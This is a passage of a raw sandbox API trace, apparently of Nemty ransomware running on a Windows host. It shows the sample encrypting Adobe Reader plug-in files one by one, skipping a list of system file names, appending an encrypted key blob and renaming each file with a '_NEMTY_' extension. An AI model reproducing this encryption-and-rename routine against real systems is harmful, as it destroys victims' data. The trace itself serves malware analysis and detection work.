Size=0xb0) returned 0x6340488 [0191.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.180] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nor._nemty_kgobjgd_")) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.181] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="MCIMPP.PTB", cAlternateFileName="")) returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2=".") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="..") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="...") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="windows") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="$RECYCLE.BIN") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="rsa") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="NTDETECT.COM") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="ntldr") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="MSDOS.SYS") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="IO.SYS") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="boot.ini") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="boot.ini") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="ntuser.dat") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="desktop.ini") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="CONFIG.SYS") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="RECYCLER") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="BOOTSECT.BAK") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="bootmgr") returned 1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="programdata") returned -1 [0191.181] lstrcmpiW (lpString1="MCIMPP.PTB", lpString2="appdata") returned 1 [0191.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.PTB", lpUsedDefaultChar=0x0) returned 10 [0191.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.PTB", lpUsedDefaultChar=0x0) returned 10 [0191.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.PTB", lpUsedDefaultChar=0x0) returned 10 [0191.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.182] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MCIMPP.PTB", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MCIMPP.PTB", lpUsedDefaultChar=0x0) returned 10 [0191.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.182] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.182] Sleep (dwMilliseconds=0x5) [0191.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259b18b0, dwHighDateTime=0x1d561e8)) [0191.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259b18b0, dwHighDateTime=0x1d561e8)) [0191.191] GetLastError () returned 0x0 [0191.191] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.191] GetLastError () returned 0x0 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.192] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.192] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.192] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="0/BWHzjfLZ2UWm4/AAUzHIQXjC0V4USsJC54KUiM4ED7jwD0awhmrSbKyRu6a1Vy\r\nH3T1MMdGiBNT/Srcz5zmjzUGIQ0W4RAYG1VHJTmk2H0Q1THZhjjystnC/J3BuYLX\r\nk1tM9WfA35nsxQqCv18/g+dLFzlM8HV1E8iyp88ugvCSmpLrO9wRPL6tcBaeT1Um\r\nIutGRjkhWvq0Fqvsgf1eVdmUYGkCx3xQ5P+94XPT8/EG6E3bhWmRpIF4P0yqDZ33\r\nuDU2vZbxvLoDa0BC1tg8JUSBSj+CBx92akK3FnbC64mp7j1tO+RQQdUF56Nt3mqo\r\n+LcZ0crBwekwdCnNEPUeLA==\r\n", pcchString=0x653e29c) returned 1 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.192] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.192] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.193] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.193] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.195] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.195] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.195] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.195] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.195] CloseHandle (hObject=0x2f0) returned 1 [0191.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.195] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\MCIMPP.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ptb._nemty_kgobjgd_")) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.198] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.SUO", cAlternateFileName="")) returned 1 [0191.198] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2=".") returned 1 [0191.198] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="..") returned 1 [0191.198] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="...") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="windows") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="$RECYCLE.BIN") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="rsa") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="NTDETECT.COM") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="ntldr") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="MSDOS.SYS") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="IO.SYS") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="boot.ini") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="boot.ini") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="ntuser.dat") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="desktop.ini") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="CONFIG.SYS") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="RECYCLER") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="BOOTSECT.BAK") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="bootmgr") returned 1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="programdata") returned -1 [0191.199] lstrcmpiW (lpString1="Mcimpp.SUO", lpString2="appdata") returned 1 [0191.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SUO", lpUsedDefaultChar=0x0) returned 10 [0191.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SUO", lpUsedDefaultChar=0x0) returned 10 [0191.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SUO", lpUsedDefaultChar=0x0) returned 10 [0191.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.SUO", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.SUO", lpUsedDefaultChar=0x0) returned 10 [0191.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.200] Sleep (dwMilliseconds=0x5) [0191.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259d7a10, dwHighDateTime=0x1d561e8)) [0191.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259d7a10, dwHighDateTime=0x1d561e8)) [0191.207] GetLastError () returned 0x0 [0191.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.207] GetLastError () returned 0x0 [0191.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.207] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.207] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.207] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.207] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.208] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="npepqoIC+yMIKO19QeWgkXMw4xd1YVJuRiB4m0c+iAmsp70jhrRCttoxGUqYPFUE\r\n4zPorJ6zpPcE02ikwGo/34gaGUkfPPz42J1xsMvyQitFym/pVvwwJlXvkf0mdHpF\r\nADWKn2PBeUOtQvBXASGIk89/qx20hQdfDSjTstAngpKEJq8dftnQqD0wfUrJzE1K\r\nRsafsl3Ou13BaX1Wb9umcRqW6H2qJTyfRq45pGEEbdoud33toQOzO1nQ3bWcRN93\r\nN/AhNNwSzCtA816HzXvTrTtPZ1a9PnexPzGc9X8Z2XMthhlvfpz0K9K+PGghZEuQ\r\nWqkm8lfmddy7iphmoT8TzA==\r\n", pcchString=0x653e29c) returned 1 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.208] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7680) returned 1 [0191.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0191.208] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.208] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1e00, lpOverlapped=0x0) returned 1 [0191.210] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.210] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1e00, lpOverlapped=0x0) returned 1 [0191.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.211] SetFilePointer (in: 